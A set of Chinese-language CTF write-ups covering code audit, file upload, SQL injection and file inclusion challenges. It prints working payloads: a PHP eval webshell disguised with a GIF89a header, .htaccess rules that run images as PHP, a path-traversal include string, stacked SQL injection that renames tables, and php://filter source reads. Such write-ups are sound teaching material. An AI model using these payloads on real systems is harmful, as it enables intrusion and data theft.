代码审计

[HCTF 2018]WarmUp:初步代码审计;文件包含;

F12 查看源码提示有 source.php ,访问获得源码:

  1. class emmm
  2. {
  3. public static function checkFile(&$page)
  4. {
  5. //白名单列表
  6. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  7. //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
  8. if (! isset($page) || !is_string($page)) {
  9. echo "you can't see it A";
  10. return false;
  11. }
  12. //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
  13. if (in_array($page, $whitelist)) {
  14. return true;
  15. }
  16. //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
  17. $_page = mb_substr(
  18. $page,
  19. 0,
  20. mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
  21. );
  22. //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
  23. if (in_array($_page, $whitelist)) {
  24. return true;
  25. }
  26. //url对$page解码
  27. $_page = urldecode($page);
  28. //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
  29. $_page = mb_substr(
  30. $_page,
  31. 0,
  32. mb_strpos($_page . '?', '?')
  33. );
  34. //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
  35. if (in_array($_page, $whitelist)) {
  36. return true;
  37. }
  38. echo "you can't see it";
  39. return false;
  40. }
  41. }

hint.php 提示在 ffffllllaaaagggg
文件包含将 flag 包含进来,最后触发是 include $_REQUEST['file'];
三层过滤:

  1. 第一层判断:是否 file 传入是否为空、是否是 string 类型
  2. 第一层过滤:file 传入原值是否在白名单中
  3. 第二层过滤:取 file 第一个 ? 前的值,判断是否在白名单中,例如:$file=hint.php?id=0 ,则取 hint.php
  4. 第三次过滤:对 file 进行 url 解码后,取第一个 ? 前的值,判断是否在白名单中

最后 payload ?file=hint.php?/../../../../../ffffllllaaaagggg
include 的时候将 hint.php?/ 当作是文件目录,然后一直返回上层到根目录

[BJDCTF2020]Mark loves cat:代码审计;变量覆盖;

除了页面最底部有个 dog ,没有任何思路和提示,那就开始 dirsearch 扫目录。找到有 git 源码泄露,Githacker 将源码拖下来:

  1. githacker --url http://6515a110-1a7a-4c40-b134-c1f29f33adf5.node4.buuoj.cn:81 --folder result --threads 1

githack 也能实现 git 泄露源码,之前用的好好的,现在这题 php 文件死活拖不出来就换了。
关键部分如下:

  1. <?php
  2. include 'flag.php';
  3. $yds = "dog";
  4. $is = "cat";
  5. $handsome = 'yds';
  6. foreach($_POST as $x => $y){
  7. $$x = $y; //修改任意变量为任意值
  8. }
  9. foreach($_GET as $x => $y){
  10. $$x = $$y; //修改任意变量为另外一个变量的值
  11. }
  12. foreach($_GET as $x => $y){
  13. if($_GET['flag'] === $x && $x !== 'flag'){
  14. exit($handsome);
  15. }
  16. }
  17. if(!isset($_GET['flag']) && !isset($_POST['flag'])){
  18. exit($yds);
  19. }
  20. if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
  21. exit($is);
  22. }
  23. echo "the flag is: ".$flag;

两种方法修改变量:get、post

  1. foreach($_POST as $x => $y){
  2. $$x = $y; //修改任意变量为任意值
  3. //input:$x="yds";$y='$flag';
  4. //result:$yds = $flag
  5. }
  6. foreach($_GET as $x => $y){
  7. $$x = $$y; //修改任意变量为另外一个变量的值
  8. //input:$x="yds";$y='flag';
  9. //result:$yds = $flag
  10. }

GET 方法:index.php?yds=flag

补充知识

foreach 题目列表或者键值对 example 。如果是列表返回 $key 是下标,字典返回是键名。

  1. <?php
  2. $a = array(1,2,3,4,5,6,7);
  3. foreach ($a as $key => $value){
  4. echo "Current value of \$key:$key \$value:$value.\n";
  5. }

文件上传

[ACTF2020 新生赛]Upload:文件上传;phtml绕过;

扫目录没有什么东西
前台 main.js checkFile() 对文件后缀进行白名单过滤,main.js F12 sources 可以找到:

  1. function checkFile() {
  2. var file = document.getElementsByName('upload_file')[0].value;
  3. if (file == null || file == "") {
  4. alert("请选择要上传的文件!");
  5. return false;
  6. }
  7. //定义允许上传的文件类型
  8. var allow_ext = ".jpg|.png|.gif";
  9. //提取上传文件的类型
  10. var ext_name = file.substring(file.lastIndexOf("."));
  11. //判断上传文件类型是否允许上传
  12. if (allow_ext.indexOf(ext_name) == -1) {
  13. var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
  14. alert(errMsg);
  15. return false;
  16. }
  17. }

就一句话木马改成 png 后缀进行抓包绕过前端过滤:
image.png
修改后缀为 php ,返回 Bad file ,证明后端还有过滤。这里需要用到新的知识点:phtml 和 php 都可以被服务器当作 php 代码执行

什么是phtml,什么时候应该使用.phtml扩展名而不是.php?

将后缀改成 phtml ,蚁剑连上 getshell

[极客大挑战 2019]Upload:GIF89a图片头欺骗;script标签绕过;

文件上传没有其他东西。php 后缀文件被过滤,上传 phtml 返回 Not image! 。上传 png、gif、jpeg 也是一样提示就很奇怪。尝试GIF89a图片头文件欺骗

  1. GIF89a
  2. <?php
  3. @eval($_POST['skye']);

上传成功,提示文件存在 <?
image.png
用 html script 标签绕过 <? 限制成功上传 hack.phtml
image.png
蚁剑连上:/uploads/hack.phtml

题目源码

按道理正常的 png、gif、jpeg 能上传,但是为什么报错 Not image!

  1. <!DOCTYPE html>
  2. <html lang="zh">
  3. <style>
  4. .error {
  5. font-family:Microsoft YaHei;
  6. font-family:arial;
  7. color:red;
  8. font-size:40px;
  9. text-align:center;
  10. }
  11. </style>
  12. <head>
  13. <meta charset="UTF-8">
  14. <title>check</title>
  15. <link rel="stylesheet" type="text/css" href="css/reset.css">
  16. <link rel="stylesheet" href="css/demo.css" />
  17. <link rel="stylesheet" href="dist/styles/Vidage.css" />
  18. </head>
  19. <body>
  20. <div class="Vidage">
  21. <div class="Vidage__image"></div>
  22. <video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
  23. <source src="videos/bg.webm" type="video/webm">
  24. <source src="videos/bg.mp4" type="video/mp4">
  25. </video>
  26. <div class="Vidage__backdrop"></div>
  27. </div>
  28. <script src="dist/scripts/Vidage.min.js"></script>
  29. <script>
  30. new Vidage('#VidageVideo');
  31. </script>
  32. </br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
  33. <div class="error">
  34. <strong>
  35. <?php
  36. $file = $_FILES["file"];
  37. // 允许上传的图片后缀
  38. $allowedExts = array("php","php2","php3","php4","php5","pht","phtm");
  39. $temp = explode(".", $file["name"]);
  40. $extension = strtolower(end($temp)); // 获取文件后缀名
  41. $image_type = @exif_imagetype($file["tmp_name"]); //通过文件头判断图像的类型
  42. // 检查Content-Type的值是否为图片类型
  43. if ((($file["type"] == "image/gif")
  44. || ($file["type"] == "image/jpeg")
  45. || ($file["type"] == "image/jpg")
  46. || ($file["type"] == "image/pjpeg")
  47. || ($file["type"] == "image/x-png")
  48. || ($file["type"] == "image/png"))
  49. &&$file["size"] < 20480) // 小于 20 kb
  50. {
  51. if ($file["error"] > 0){
  52. echo "ERROR!!!";
  53. }
  54. elseif (in_array($extension, $allowedExts)) {
  55. echo "NOT!".$extension."!";
  56. }
  57. elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
  58. echo "NO! HACKER! your file included '&#x3C;&#x3F;'";
  59. }
  60. elseif (!$image_type) {
  61. echo "Don't lie to me, it's not image at all!!!";
  62. }
  63. else{
  64. $fileName='./upload/'.$file['name'];
  65. move_uploaded_file($file['tmp_name'],$fileName);
  66. echo "上传文件名: " . $file["name"] . "<br>";
  67. }
  68. }
  69. else
  70. {
  71. echo "Not image!";
  72. }
  73. ?>
  74. </strong>
  75. </div>
  76. <div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
  77. </body>
  78. </html>

[MRCTF2020]你传你🐎呢:.htaccess改变文件拓展名;

上传图片后缀文件成功,php、phtml 被过滤了:
image.png
这个上次的一句话蚁剑是连不上的。
正确姿势应该是通过 **.htaccess** 改变文件拓展名

.htaccess 详解

启用 .htaccess ,需要修改 httpd.conf ,启用 AllowOverride ,并可以用 AllowOverride 限制特定命令的使用。
.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
改变文件扩展名几种配置方法:

  1. AddType application/x-httpd-php .jpg //jpg解析为php
  1. SetHandler application/x-httpd-php //任意后缀均被解析为php
  1. <FilesMatch "1.png">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>
  4. //文件1.png被解析为php

改变 .htaccess 配置后造成文件解析漏洞,将其他后缀文件解析成 php 文件,即将文件内容当作 php 代码执行
修改 Content-Type 绕过后端检查:
image.png
现在 jpeg 已经被当作 php 执行,上传 jpeg 一句话,蚁剑链接 webshell
image.png

题目源码

  1. <?php
  2. session_start();
  3. echo "
  4. <meta charset=\"utf-8\">";
  5. if(!isset($_SESSION['user'])){
  6. $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
  7. }
  8. if(isset($_FILES['uploaded'])) {
  9. $target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
  10. $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
  11. $uploaded_name = $_FILES['uploaded']['name'];
  12. $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
  13. $uploaded_size = $_FILES['uploaded']['size'];
  14. $uploaded_tmp = $_FILES['uploaded']['tmp_name'];
  15. // 匹配文件后缀有没有 ph
  16. if(preg_match("/ph/i", strtolower($uploaded_ext))){
  17. die("我扌your problem?");
  18. }
  19. else{
  20. // 文件后缀白名单、文件大小限制
  21. if ((($_FILES["uploaded"]["type"] == "
  22. ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
  23. $content = file_get_contents($uploaded_tmp);
  24. mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
  25. move_uploaded_file($uploaded_tmp, $t_path);
  26. echo "{$t_path} succesfully uploaded!";
  27. }
  28. else{
  29. die("我扌your problem?");
  30. }
  31. }
  32. }
  33. ?>

[GXYCTF2019]BabyUpload:.htaccess改变文件拓展名;script 标签绕过;

上传 1.php 提示文件后缀不能包含 ph ;Content-Type 不是图片也会被过滤;
文件内容不能包含 <?
image.png
服务器是 PHP5.x 用 script 绕过 <? 过滤
文件后缀不能包含 ph 尝试修改 .htaccess 将其他文件解析成 php 文件。返回数据包 Server: openresty 是基于 Nginx ,Nginx 默认不支持 .htaccess ,但也可以修改配置后支持 .htaccess 。这部分思路参考:[MRCTF2020]你传你🐎呢:.htaccess改变文件拓展名
上传 .htaccess :
image.png
上传 1.jpeg 一句话木马:
image.png
蚁剑链接就好了。getshell 没找到服务器的 Nginx 配置文件(准备看看怎么支持 .htaccess ,但是没找到。找到了一堆 apache 的东西奇奇怪怪)

题目源码

  1. <?php
  2. session_start();
  3. echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
  4. <title>Upload</title>
  5. <form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
  6. 上传文件<input type=\"file\" name=\"uploaded\" />
  7. <input type=\"submit\" name=\"submit\" value=\"上传\" />
  8. </form>";
  9. error_reporting(0);
  10. if(!isset($_SESSION['user'])){
  11. $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
  12. }
  13. if(isset($_FILES['uploaded'])) {
  14. $target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
  15. $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
  16. $uploaded_name = $_FILES['uploaded']['name'];
  17. $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
  18. $uploaded_size = $_FILES['uploaded']['size'];
  19. $uploaded_tmp = $_FILES['uploaded']['tmp_name'];
  20. if(preg_match("/ph/i", strtolower($uploaded_ext))){
  21. die("后缀名不能有ph!");
  22. }
  23. else{
  24. if ((($_FILES["uploaded"]["type"] == "
  25. ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
  26. $content = file_get_contents($uploaded_tmp);
  27. if(preg_match("/\<\?/i", $content)){
  28. die("诶,别蒙我啊,这标志明显还是php啊");
  29. }
  30. else{
  31. mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
  32. move_uploaded_file($uploaded_tmp, $t_path);
  33. echo "{$t_path} succesfully uploaded!";
  34. }
  35. }
  36. else{
  37. die("上传类型也太露骨了吧!");
  38. }
  39. }
  40. }
  41. ?>

SQL注入

[极客大挑战 2019]EasySQL:万能密码

账号密码都是一样的,输入'会有错误回显
image.png
这里是因为程序使用 sql 语句用'闭合,类似于:

  1. select * from table where id='admin'

用万能密码登录:

  1. select * from table where id='admin' or '1'='1'

最终 payload :

第一个和最后一个是程序自带的,其他是我们注入进去的

  1. check.php?username=skye231' or '1'='1&password=a' or '1'='1
  1. check.php?username=skye231&password=a' or 1=1#

[强网杯 2019]随便注 - 堆叠查询

判断出'是闭合符,万能密码可以查出当前表全部内容
堆叠注入可以使用:
?inject=1';show databases;#
image.png
查询表名发现其他的表:
?inject=0';show tables;#
image.png
查询表结构判断出 flag 在里面

  1. ?inject=0';desc `1919810931114514`#

image.png
words 表就是正常查询的表,根据表里面内容判断出 sql 查询语句

  1. selsect id,data from words where id =

image.png

方法1:重命名表和字段

  1. 将 words 改成任意名字(words1)
  2. 把 1919810931114514 表名改成 words
  3. 把 1919810931114514 列名 flag 改成 id
  4. 万能密码查询出 flag
    1. 0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
    image.png

    修改后 words 表(1919810931114514)结构

image.png
最后万能密码 ?inject=1'or '1'='1

方法2:预处理语句

利用 char() 函数将 select 的 ASCII 码转换为 select 字符串,接着利用 concat() 函数进行拼接得到 select 查询语句,从而绕过过滤。或者直接用 concat() 函数拼接 select 来绕过。

payload1 不使用变量
  1. 1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#

payload2 使用变量
  1. 1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#

payload3 只是用contact(),不使用char()
  1. 1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

[SUCTF 2019]EasySQL:堆叠注入;pipes_as_concat;

进行一下尝试:
image.png
3 变成了 1
image.png
堆叠注入可以image.png
flag 被过滤不能使用。这题要对 sql 语句猜测,输入一长串数字尝试:
image.png
前 10 个数字对应查询猜猜是 select 1 ,最后一个数字无论是什么都是 1 ,看师傅 wp 才知道 sql 语句:

  1. sql="select".post['query']."||flag from Flag";

上图对应实际查询语句:select 1,2,3,4||flag from Flag|| 在 mysql 默认是或运算,所以最后一个值查询结果非 0 即 1 。

EXP1

这个没什么好解释的,

  1. *,1
  2. // select *,1||flag from FLAG

EXP2

|| 在 mysql 默认是或运算符,在 oracle 缺省支持通过 || 来实现字符串拼接。mysql 将 mode 设置为 pipes_as_concat 来实现。

  1. 1;set sql_mode=PIPES_AS_CONCAT;select 1
  2. //select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from FLAG

设置完的相当于是用 concat 进行拼接:SELECT 1,CONCAT(1,flag) FROM FLAG
concat 将查询结果进行拼接,本地环境测试:SELECT CONCAT(3,last_name) FROM users 每个结果都加上了 3
image.pngimage.png

文件包含

[ACTF2020 新生赛]Include:php://filter读源码;

点进去 Tips 之后,观察 url 有点问题 ?file=flag.php ,怀疑是文件包含漏洞。
伪协议 php://filter 读取 flag.php 源码

  1. ?file=php://filter/read=convert.base64-encode/resource=flag.php

file:// 协议读取会把文件内容执行么,php文件捏?

[极客大挑战 2019]Secret File:php://filter读源码;抓包防重定向;

F12 查看到隐藏的路径
image.png
进去里面还有一个
image.png
然后提示结束了
image.png
burp抓包查看到有重定向,获取中间内容
image.png
访问获取到源码:

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. $file=$_GET['file'];
  5. if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
  6. echo "Oh no!";
  7. exit();
  8. }
  9. include($file);
  10. //flag放在了flag.php里
  11. ?>

include 一看就是文件包含,过滤了一些字符串,直接 php://filter 读取即可

命令执行

[ACTF2020 新生赛]Exec

image.png
image.png

Basic

[极客大挑战 2019]Havefun:传参

  1. <!--
  2. $cat=$_GET['cat'];
  3. echo $cat;
  4. if($cat=='dog'){
  5. echo 'Syc{cat_cat_cat_cat}';
  6. }
  7. -->